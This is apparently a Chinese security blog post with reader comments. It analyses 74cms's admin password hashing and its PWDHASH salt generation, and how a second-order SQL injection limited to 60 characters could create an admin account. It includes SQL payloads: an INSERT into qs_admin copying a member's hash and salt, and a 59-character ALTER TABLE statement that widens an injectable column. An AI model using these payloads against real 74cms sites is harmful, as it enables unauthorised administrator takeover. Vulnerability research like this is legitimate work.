前言
之前看了续爷的二次注入,字符限制为60个。怼了半天没弄出更短的sql语句,于是看了下登录的逻辑。
找到密码的加密方式
$admin = M('Admin')->field($field)->where(array('username'=>$username))->find();
if(!$err && !$admin) $err='管理员帐号不存在';
if(!$err && $admin['password'] != md5(md5($password).$admin['pwd_hash'].C('PWDHASH'))) $err='用户名或密码错误!';
看看C("PWDHASH")
74cms/Application/Common/Conf/pwdhash.php
<?php
return array (
'PWDHASH'=> 'PvPbz4nlY@6dv9aD'
);
再看一下生成pwdhash的逻辑
/74cms/install/Home/Controller/IndexController.class.php
$QS_pwdhash=$this->randstr(16);
$content = '<?'."php\n";
$content .= "return array (\n";
$content .= "'PWDHASH'=> '{$QS_pwdhash}'\n";
$content .= ");";
...
protected function randstr($length=6)
{
$hash='';
$chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
$max=strlen($chars)-1;
mt_srand((double)microtime()*1000000);
for($i=0;$i<$length;$i++) {
$hash.=$chars[mt_rand(0,$max)];
}
return $hash;
}
pwdhash是16位随机生成的。所以就算能得到很多组管理密码的hash,解出密码的概率也微乎其微。
如果是mt_srand(time())的话 可以参考ph牛的文章复现出pwdhash的值。
思路一
利用Joseph的方法 爆出hash值和salt值,然后找找有没有pwdhash泄露的地方,用hashcat爆破密码。
在/Users/hwj/Sites/74cms/Application/Common/qscmslib/user_visitor.class.php
public function __construct() {
$this->_session = '_qscms'.md5(C('PWDHASH'));
if (session('?'.$this->_session)) {
//已经登陆
$this->info = session($this->_session);
$this->is_login = true;
}elseif ($user_info = (array)cookie($this->_session)) {
$field = 'uid,utype,username,email,mobile,last_login_time,last_login_ip';
C('apply.Subsite') && $field.=',subsite_id';
$user_info = M('Members')->field($field)->where(array('uid'=>$user_info[md5('uid')], 'password'=>$user_info[md5('password')]))->find();
if ($user_info) {
//记住登陆状态
$this->assign_info($user_info);
$this->is_login = true;
}else{
$this->is_login = false;
}
} else {
$this->is_login = false;
}
}
可以看到pwdhash的md5值被记录到cookie中。所以只用建立一个hash表,就能知道pwdhash的值。
这里看似可以注入,事实上cookie函数获取值的时候会经过一次urldecode,无法传入数组。
if(isset($_COOKIE[$name])){
$value = $_COOKIE[$name];
if(0===strpos($value,'think:')){
$value = substr($value,6);
return array_map('urldecode',json_decode(MAGIC_QUOTES_GPC?stripslashes($value):$value,true));
}
思路二
利用pdo多语句执行,直接增加一个管理用户。
先看一下数据库连接。
74cms/ThinkPHP/Library/Think/Db/Driver.class.php
public function connect($config='',$linkNum=0,$autoConnection=false) {
if ( !isset($this->linkID[$linkNum]) ) {
if(empty($config)) $config = $this->config;
try{
if(empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
}
if(version_compare(PHP_VERSION,'5.3.6','<=')){
// 禁用模拟预处理语句
$this->options[PDO::ATTR_EMULATE_PREPARES] = false;
}
$this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
}catch (\PDOException $e) {
if($autoConnection){
trace($e->getMessage(),'','ERR');
return $this->connect($autoConnection,$linkNum);
}elseif($config['debug']){
E($e->getMessage());
}
}
}
return $this->linkID[$linkNum];
}
在php版本5.3.6以上才能多语句执行。
由于不知道pwdhash的值(不使用思路一的方法),就算能加管理用户也无法登陆。幸运的是,会员登陆的时候也利用了同样的加密方式。
可以先注册一个会员,把加密后的hash,salt取出来,作为新增管理用户的hash和salt。
insert qs_admin values(8888,2,3,(select password from qs_members where username='testtest3'),(select pwd_hash from qs_members where username='testtest3’),1,7,8,9);
显然字符数太多了,之前说过,这个二次注入点的限制是60个字符。
但是
我们可以改啊!
');alter table qs_company_profile modify companyname text;#
59个字符,稳稳的。
不过,因为companyname是索引字段,在这之前还要再做一步才能修改为text。
敢问大哥注入点是在哪?
时间: 2017-02-21 at 11:48 回复哥 还在吗?
时间: 2017-02-27 at 16:10 回复全局搜索company_profile
时间: 2017-03-04 at 17:27 回复